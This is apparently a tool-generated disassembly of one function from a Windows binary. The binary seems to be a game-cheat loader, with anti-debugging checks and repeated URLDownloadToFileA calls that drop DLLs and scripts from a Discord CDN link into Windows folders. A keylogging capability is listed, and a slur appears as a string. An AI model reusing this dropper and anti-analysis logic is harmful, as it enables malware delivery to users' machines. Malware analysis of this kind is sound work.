Function at 0x14004f750
Capabilities:
Create directory
Create process on windows
Create thread
Download url
Encode data using base64
Execute command
Hide graphical window
Log keystrokes via polling
Query environment variable
Receive data
Terminate process

Disassembly:
push rbp
push rbx
push rsi
push r13
lea rbp, [rsp - 0x1d9e8]
mov eax, 0x1dae8
call fcn.140122380
sub rsp, rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x14004f77a
call fcn.14004dbe0
call fcn.14004cc60
lea rax, str..kdstinker
xor r13d, r13d
mov qword [rbp + 0x110], rax
mov ebx, r13d
lea rax, str..NiGgEr
mov qword [rbp + 0x118], rax
lea rax, str..KsDumper
mov qword [rbp + 0x120], rax
lea esi, [r13 + 1]
nop dword [rax]
nop word [rax + rax]
mov rcx, qword [rbp + rbx*8 + 0x110]
xor r9d, r9d
mov qword [rsp + 0x30], r13
mov r8d, esi
mov dword [rsp + 0x28], 0x80
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
jne 0x140056bbe
inc rbx
cmp rbx, 3
jl 0x14004f7c0
lea rdx, [rbp + 0x15c0]
mov qword [rsp + 0x20], r13
lea rdx, [rdx + 0x80]
xor r9d, r9d
lea rbx, [0x140000000]
movups xmm0, xmmword [rbx + 0x190150]
lea rcx, [rbx + 0x190150]
movups xmm1, xmmword [rcx + 0x10]
mov eax, dword [rcx + 0xb0]
lea r8, [rbp + 0xd80]
movups xmmword [rdx - 0x80], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx - 0x70], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx - 0x20], xmm0
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [0x1401900c0]
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
movzx eax, word [rcx + 0xb4]
xor ecx, ecx
movups xmm0, xmmword [str.C:Windows_tempchamswh0ami.dll]
mov word [rdx + 0x34], ax
lea rdx, [rbp + 0x15c0]
movups xmmword [rbp + 0xd90], xmm1
movups xmmword [rbp + 0xd80], xmm0
call sub.urlmon.dll_URLDownloadToFileA
movups xmm0, xmmword [rbx + 0x190210]
lea rcx, [rbx + 0x190210]
xor r9d, r9d
movups xmm1, xmmword [rcx + 0x10]
mov eax, dword [rcx + 0xb0]
lea rdx, [rbp + 0xfc0]
movups xmmword [rdx], xmm0
lea r8, [rbp + 0x7d0]
mov qword [rsp + 0x20], r13
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
movzx eax, byte [rcx + 0xb4]
xor ecx, ecx
movups xmm0, xmmword [str.C:Windows_temp_boxZ.dll]
mov byte [rdx + 0x34], al
lea rdx, [rbp + 0xfc0]
movzx eax, byte [0x140190148]
movups xmmword [rbp + 0x7d0], xmm0
mov byte [rbp + 0x7e8], al
movsd xmm0, qword [0x140190140]
movsd qword [rbp + 0x7e0], xmm0
call sub.urlmon.dll_URLDownloadToFileA
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1197453143471034438_1199328018515112056_gcapi.dll]
lea r8, [rbp + 0x790]
movzx eax, byte [0x140190328]
lea rdx, [rbp + 0xda0]
movaps xmm1, xmmword [0x1401902e0]
xor r9d, r9d
movaps xmmword [rbp + 0xda0], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x1401902f0]
movaps xmmword [rbp + 0xdc0], xmm0
movaps xmm0, xmmword [0x140190310]
movaps xmmword [rbp + 0xde0], xmm0
movsd xmm0, qword [0x140190320]
movsd qword [rbp + 0xdf0], xmm0
movups xmm0, xmmword [str.C:Windows_tempchamsvip.dll]
mov byte [rbp + 0xdf8], al
mov eax, dword [0x140190108]
movups xmmword [rbp + 0x790], xmm0
mov dword [rbp + 0x7a8], eax
movsd xmm0, qword [0x140190100]
movzx eax, byte [0x14019010c]
movaps xmmword [rbp + 0xdb0], xmm1
movaps xmm1, xmmword [0x140190300]
movsd qword [rbp + 0x7a0], xmm0
movaps xmmword [rbp + 0xdd0], xmm1
mov byte [rbp + 0x7ac], al
mov qword [rsp + 0x20], r13
call sub.urlmon.dll_URLDownloadToFileA
movups xmm0, xmmword [rbx + 0x190330]
lea rcx, [rbx + 0x190330]
xor r9d, r9d
movups xmm1, xmmword [rcx + 0x10]
lea rdx, [rbp + 0x1500]
mov qword [rsp + 0x20], r13
movups xmmword [rdx], xmm0
lea r8, [rbp + 0x9a0]
movups xmm0, xmmword [rcx + 0x20]
lea rcx, [rcx + 0x80]
mov rax, qword [rcx + 0x30]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [0x140190400]
movups xmmword [rdx + 0x20], xmm0
mov qword [rdx + 0x30], rax
mov eax, dword [rcx + 0x38]
movups xmm0, xmmword [str.C:WindowsSystem32ShaderDumper.dll]
mov dword [rdx + 0x38], eax
movzx eax, byte [rcx + 0x3c]
xor ecx, ecx
mov byte [rdx + 0x3c], al
lea rdx, [rbp + 0x1500]
movzx eax, word [0x140190410]
mov word [rbp + 0x9c0], ax
movzx eax, byte [0x140190412]
mov byte [rbp + 0x9c2], al
movups xmmword [rbp + 0x9a0], xmm0
movups xmmword [rbp + 0x9b0], xmm1
call sub.urlmon.dll_URLDownloadToFileA
movups xmm0, xmmword [rbx + 0x190420]
lea rcx, [rbx + 0x190420]
movups xmm1, xmmword [rcx + 0x10]
lea rdx, [rbp + 0x1080]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
mov eax, dword [rcx + 0xb0]
xor r9d, r9d
mov qword [rsp + 0x20], r13
lea r8, [rbp + 0x7f0]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
movzx eax, byte [rcx + 0xb4]
xor ecx, ecx
movups xmm0, xmmword [str.C:Windows_temphk4x.dll]
mov byte [rdx + 0x34], al
lea rdx, [rbp + 0x1080]
movzx eax, byte [0x1401900a8]
movups xmmword [rbp + 0x7f0], xmm0
mov byte [rbp + 0x808], al
movsd xmm0, qword [0x1401900a0]
movsd qword [rbp + 0x800], xmm0
call sub.urlmon.dll_URLDownloadToFileA
movups xmm0, xmmword [rbx + 0x1904e0]
lea rcx, [rbx + 0x1904e0]
xor r9d, r9d
movups xmm1, xmmword [rcx + 0x10]
mov eax, dword [rcx + 0xb0]
lea rdx, [rbp + 0x1200]
movups xmmword [rdx], xmm0
lea r8, [rbp + 0x950]
mov qword [rsp + 0x20], r13
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
movzx eax, word [rcx + 0xb4]
xor ecx, ecx
movups xmm0, xmmword [str.C:Windows_tempBox3D.dll]
mov word [rdx + 0x34], ax
lea rdx, [rbp + 0x1200]
movzx eax, word [0x140190128]
movups xmmword [rbp + 0x950], xmm0
mov word [rbp + 0x968], ax
movsd xmm0, qword [0x140190120]
movsd qword [rbp + 0x960], xmm0
call sub.urlmon.dll_URLDownloadToFileA
movups xmm0, xmmword [rbx + 0x1905a0]
lea rcx, [rbx + 0x1905a0]
movups xmm1, xmmword [rcx + 0x10]
lea rdx, [rbp + 0x1380]
movups xmmword [rdx], xmm0
movups xmmword [rdx + 0x10], xmm1
mov rax, qword [rcx + 0xb0]
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx + 0x20]
xor r9d, r9d
lea r8, [rbp + 0x7b0]
movups xmm1, xmmword [rcx + 0x30]
mov qword [rsp + 0x20], r13
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx - 0x20], xmm0
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov qword [rdx + 0x30], rax
movzx eax, byte [rcx + 0xb8]
xor ecx, ecx
movups xmm0, xmmword [str.C:Windows_tempChamsRed.dll]
mov byte [rdx + 0x38], al
lea rdx, [rbp + 0x1380]
mov eax, dword [0x1401900e8]
mov dword [rbp + 0x7c8], eax
movzx eax, byte [0x1401900ec]
movups xmmword [rbp + 0x7b0], xmm0
mov byte [rbp + 0x7cc], al
movsd xmm0, qword [0x1401900e0]
movsd qword [rbp + 0x7c0], xmm0
call sub.urlmon.dll_URLDownloadToFileA
movups xmm0, xmmword [rbx + 0x190660]
lea rcx, [rbx + 0x190660]
xor r9d, r9d
movups xmm1, xmmword [rcx + 0x10]
mov eax, dword [rcx + 0xb0]
lea rdx, [rbp + 0x1140]
movups xmmword [rdx], xmm0
lea r8, [rbp + 0x810]
mov qword [rsp + 0x20], r13
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
movzx eax, byte [rcx + 0xb4]
xor ecx, ecx
movups xmm0, xmmword [str.C:Windows_tempRas1.dll]
mov byte [rdx + 0x34], al
lea rdx, [rbp + 0x1140]
movzx eax, byte [0x140190730]
movups xmmword [rbp + 0x810], xmm0
mov byte [rbp + 0x828], al
movsd xmm0, qword [0x140190728]
movsd qword [rbp + 0x820], xmm0
call sub.urlmon.dll_URLDownloadToFileA
movups xmm0, xmmword [rbx + 0x190740]
lea rax, [rbx + 0x190740]
lea rcx, [rbp + 0xf00]
movups xmm1, xmmword [rax + 0x10]
xor r9d, r9d
lea r8, [rbp + 0xb08]
movups xmmword [rcx], xmm0
lea rdx, [rbp + 0xf00]
mov qword [rsp + 0x20], r13
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x60], xmm0
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x70], xmm1
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x80], xmm0
movups xmm0, xmmword [rax + 0xa0]
mov eax, dword [rax + 0xb0]
movups xmmword [rcx + 0x90], xmm1
movups xmmword [rcx + 0xa0], xmm0
mov dword [rcx + 0xb0], eax
xor ecx, ecx
movups xmm0, xmmword [str.C:Windows_tempwin.dll]
movups xmmword [rbp + 0xb08], xmm0
movsd xmm0, qword [0x140190068]
movsd qword [rbp + 0xb18], xmm0
call sub.urlmon.dll_URLDownloadToFileA
movups xmm0, xmmword [rbx + 0x190800]
lea rax, [rbx + 0x190800]
xor r9d, r9d
movups xmm1, xmmword [rax + 0x10]
lea rcx, [rbp + 0x1680]
mov qword [rsp + 0x20], r13
movups xmmword [rcx], xmm0
lea r8, [rbp + 0xd08]
movups xmm0, xmmword [rax + 0x20]
lea rdx, [rbp + 0x1680]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx - 0x10], xmm1
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax + 0xb0]
mov eax, dword [rax + 0xc0]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [str.C:WindowsSystem32Macro2Awm_by_Swatzz.ahk]
movups xmmword [rcx + 0x30], xmm1
mov dword [rcx + 0x40], eax
xor ecx, ecx
movups xmm1, xmmword [0x1401908d8]
mov eax, dword [0x1401908f0]
movups xmmword [rbp + 0xd08], xmm0
mov dword [rbp + 0xd30], eax
movsd xmm0, qword [0x1401908e8]
movups xmmword [rbp + 0xd18], xmm1
movsd qword [rbp + 0xd28], xmm0
call sub.urlmon.dll_URLDownloadToFileA
movups xmm0, xmmword [rbx + 0x190900]
lea rcx, [rbx + 0x190900]
movups xmm1, xmmword [rcx + 0x10]
lea rdx, [rbp + 0x1440]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
mov rax, qword [rcx + 0xb0]
xor r9d, r9d
mov qword [rsp + 0x20], r13
lea r8, [rbp + 0xce0]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [0x1401909d0]
movups xmmword [rdx + 0x20], xmm0
mov qword [rdx + 0x30], rax
movzx eax, word [rcx + 0xb8]
xor ecx, ecx
movups xmm0, xmmword [str.C:WindowsSystem32Macrom500.ahk]
mov word [rdx + 0x38], ax
lea rdx, [rbp + 0x1440]
movzx eax, word [0x1401909e0]
mov word [rbp + 0xd00], ax
movups xmmword [rbp + 0xce0], xmm0
movups xmmword [rbp + 0xcf0], xmm1
call sub.urlmon.dll_URLDownloadToFileA
movups xmm0, xmmword [rbx + 0x1909f0]
lea rcx, [rbx + 0x1909f0]
xor r9d, r9d
movups xmm1, xmmword [rcx + 0x10]
lea rdx, [rbp + 0x12c0]
mov qword [rsp + 0x20], r13
movups xmmword [rdx], xmm0
lea r8, [rbp + 0x770]
movups xmm0, xmmword [rcx + 0x20]
lea rcx, [rcx + 0x80]
mov eax, dword [rcx + 0x30]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
movzx eax, word [rcx + 0x34]
movups xmm0, xmmword [str.C:Windows_tempRastss.dll]
mov word [rdx + 0x34], ax
movzx eax, byte [rcx + 0x36]
xor ecx, ecx
mov byte [rdx + 0x36], al
lea rdx, [rbp + 0x12c0]
movzx eax, word [0x140190088]
mov word [rbp + 0x788], ax
movzx eax, byte [0x14019008a]
movups xmmword [rbp + 0x770], xmm0
mov byte [rbp + 0x78a], al
movsd xmm0, qword [0x140190080]
movsd qword [rbp + 0x780], xmm0
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, str.username
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
xorps xmm0, xmm0
xorps xmm1, xmm1
movups xmmword [rbp + 0x550], xmm0
mov r8, 0xffffffffffffffff
movdqu xmmword [rbp + 0x560], xmm1
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], r13b
jne 0x140050210
mov rdx, rax
lea rcx, [rbp + 0x550]
call fcn.14002f3c0
lea r8, [rbp + 0x550]
lea rdx, str.C:Users_
lea rcx, [rbp + 0xe30]
call fcn.140047270
mov r8d, reloc.WLDAP32.dll_Ordinal_32
lea rdx, str.AppDataLocalTempCheat_Engine
mov rcx, rax
call fcn.14004db50
mov qword [rbp + 0x1c0], r13
lea rcx, [rbp + 0xe30]
mov qword [rbp + 0x1c8], r13
xorps xmm0, xmm0
movups xmmword [rbp + 0x1b0], xmm0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1b0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1c0], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], r13b
call fcn.14002fd20
mov r8, qword [rbp + 0x568]
cmp r8, 0xf
jbe 0x1400502bf
mov rdx, qword [rbp + 0x550]
lea rcx, [rbp + 0x550]
call fcn.14004d430
movdqa xmm0, xmmword [0x140191910]
lea rcx, [rbp + 0x1b0]
mov qword [rsp + 0x1db10], rdi
mov qword [rsp + 0x1db18], r12
mov qword [rsp + 0x1db20], r14
mov qword [rsp + 0x1dae0], r15
movaps xmmword [rsp + 0x1dad0], xmm6
movaps xmmword [rsp + 0x1dac0], xmm7
movaps xmmword [rsp + 0x1dab0], xmm8
movaps xmmword [rsp + 0x1daa0], xmm9
movaps xmmword [rsp + 0x1da90], xmm10
movaps xmmword [rsp + 0x1da80], xmm11
movaps xmmword [rsp + 0x1da70], xmm12
movaps xmmword [rsp + 0x1da60], xmm13
movaps xmmword [rsp + 0x1da50], xmm14
movaps xmmword [rsp + 0x1da40], xmm15
movdqu xmmword [rbp + 0x560], xmm0
mov byte [rbp + 0x550], r13b
call fcn.14004eb80
test al, al
jne 0x140056bb5
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Th__m_c
call fcn.140047010
cmp qword [rbp + 0x1c8], 0xf
lea rdx, [rbp + 0x1b0]
mov r8, qword [rbp + 0x1c0]
mov rcx, rax
cmova rdx, qword [rbp + 0x1b0]
call fcn.140047da0
lea rdx, [0x140190ad0]
mov rcx, rax
call fcn.140047010
lea rdx, [0x1400486f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor r9d, r9d
mov qword [rsp + 0x28], r13
lea r8, [0x14004b710]
mov dword [rsp + 0x20], r13d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp + 0x580]
mov edx, 8
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140056b97
mov rcx, qword [rbp + 0x580]
lea rax, [rbp + 0x578]
mov edi, reloc.WS2_32.dll_sendto
mov dword [rbp + 0x130], r13d
mov edx, edi
mov qword [rsp + 0x20], rax
mov r9d, 4
lea r8, [rbp + 0x130]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x140056b97
cmp dword [rbp + 0x130], r13d
setne al
test al, al
je 0x140056b97
xor edx, edx
lea rcx, str.C:WindowsLOGIN
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea r8, str.C:WindowsSystem32chams.dll
mov edx, 0x104
lea rcx, [rbp + 0x1750]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
lea rcx, [0x1405c4f80]
call fcn.1400cbbd0
cmp dword [0x1405c4bc8], r13d
jne 0x140050499
call fcn.1400573b0
mov rcx, rax
call fcn.140057310
mov dword [0x1405c4bc8], eax
call fcn.1400573b0
mov edx, dword [0x1405c4bc8]
mov rcx, rax
call fcn.1400575e0
cmp byte [0x1405c5198], r13b
jne 0x1400504e6
lea rcx, [0x1405c51a0]
call fcn.14004dc20
mov rdx, rax
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
cmp dword [0x1405c4bc8], r13d
jne 0x140050502
call fcn.1400573b0
mov rcx, rax
call fcn.140057310
mov dword [0x1405c4bc8], eax
call fcn.1400573b0
mov edx, dword [0x1405c4bc8]
mov rcx, rax
call fcn.1400575e0
lea rax, [0x14004d2d0]
mov dword [rbp + 0x5e0], 0x50
mov edx, 0x7f00
mov qword [rbp + 0x5e8], rax
xor ecx, ecx
mov dword [rbp + 0x5e4], 0x40
mov qword [rbp + 0x5f0], r13
mov qword [rbp + 0x5f8], r13
call qword [sym.imp.USER32.dll_LoadIconA]
mov edx, 0x7f00
xor ecx, ecx
mov qword [rbp + 0x600], rax
call qword [sym.imp.USER32.dll_LoadCursorA]
mov edx, 0x7f00
mov qword [rbp + 0x610], r13
mov qword [rbp + 0x608], rax
xor ecx, ecx
lea rax, str.ImGui
mov qword [rbp + 0x618], rax
lea rax, str.Example
mov qword [rbp + 0x620], rax
call qword [sym.imp.USER32.dll_LoadIconA]
lea rcx, [rbp + 0x5e0]
mov qword [rbp + 0x628], rax
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov ecx, esi
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cdq
xor ecx, ecx
sub eax, edx
sar eax, 1
lea ebx, [rax - 0x104]
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov qword [rsp + 0x58], r13
lea r8, str.Entropy
mov qword [rsp + 0x50], r13
cdq
mov qword [rsp + 0x48], r13
sub eax, edx
mov rdx, qword [rbp + 0x620]
mov r9d, 0x80000000
mov qword [rsp + 0x40], r13
xor ecx, ecx
mov dword [rsp + 0x38], 0x208
sar eax, 1
sub eax, 0x190
mov dword [rsp + 0x30], 0x320
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov rcx, rax
mov qword [rbp + 0x1a8], rax
mov edx, 0xffffffec
mov r14, rax
call qword [sym.imp.USER32.dll_GetWindowLongA]
mov edx, 0xffffffec
mov rcx, r14
bts eax, 0x13
mov r8d, eax
call qword [sym.imp.USER32.dll_SetWindowLongA]
movzx r8d, byte [0x14058e620]
mov r9d, esi
xor edx, edx
mov rcx, r14
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
xorps xmm0, xmm0
lea rdx, [rbp + 0x1d0]
mov rcx, r14
movups xmmword [rbp + 0x1d0], xmm0
call qword [sym.imp.USER32.dll_GetWindowRect]
mov qword [rbp + 0x5a4], r13
mov qword [rbp + 0x5b8], 2
mov qword [rbp + 0x5d0], 2
mov qword [rbp + 0x590], r13
mov dword [rbp + 0x5a0], Ordinal_32
mov dword [rbp + 0x598], reloc.WLDAP32.dll_Ordinal_60
mov dword [rbp + 0x59c], esi
lea rax, [0x1405c4f78]
mov dword [rbp + 0x5b4], reloc.WLDAP32.dll_Ordinal_32
mov qword [rsp + 0x58], rax
xor r9d, r9d
lea rax, [rbp + 0x57c]
mov qword [rbp + 0x5c0], r14
mov qword [rsp + 0x50], rax
xor r8d, r8d
lea rax, [0x1405c4ec8]
mov qword [rbp + 0x5ac], rsi
mov qword [rsp + 0x48], rax
mov edx, esi
lea rax, [0x1405c5250]
mov qword [rbp + 0x5c8], rsi
mov qword [rsp + 0x40], rax
xor ecx, ecx
lea rax, [rbp + 0x590]
mov dword [rbp + 0x3c0], 0xb000
mov qword [rsp + 0x38], rax
lea rax, [rbp + 0x3c0]
mov dword [rsp + 0x30], 7
mov dword [rsp + 0x28], 2
mov qword [rsp + 0x20], rax
mov dword [rbp + 0x3c4], 0xa000
call sub.d3d11.dll_D3D11CreateDeviceAndSwapChain
test eax, eax
je 0x14005081b
call fcn.14004b480
mov rdx, qword [rbp + 0x5f8]
mov rcx, qword [rbp + 0x620]
call qword [sym.imp.USER32.dll_UnregisterClassW]
mov r8, qword [rbp + 0x1c8]
cmp r8, 0xf
jbe 0x140050794
mov rdx, qword [rbp + 0x1b0]
lea rcx, [rbp + 0x1b0]
call fcn.14004d430
mov eax, esi
movaps xmm14, xmmword [rsp + 0x1da50]
movaps xmm13, xmmword [rsp + 0x1da60]
movaps xmm12, xmmword [rsp + 0x1da70]
movaps xmm11, xmmword [rsp + 0x1da80]
movaps xmm10, xmmword [rsp + 0x1da90]
movaps xmm9, xmmword [rsp + 0x1daa0]
movaps xmm8, xmmword [rsp + 0x1dab0]
movaps xmm7, xmmword [rsp + 0x1dac0]
movaps xmm6, xmmword [rsp + 0x1dad0]
mov r15, qword [rsp + 0x1dae0]
mov r14, qword [rsp + 0x1db20]
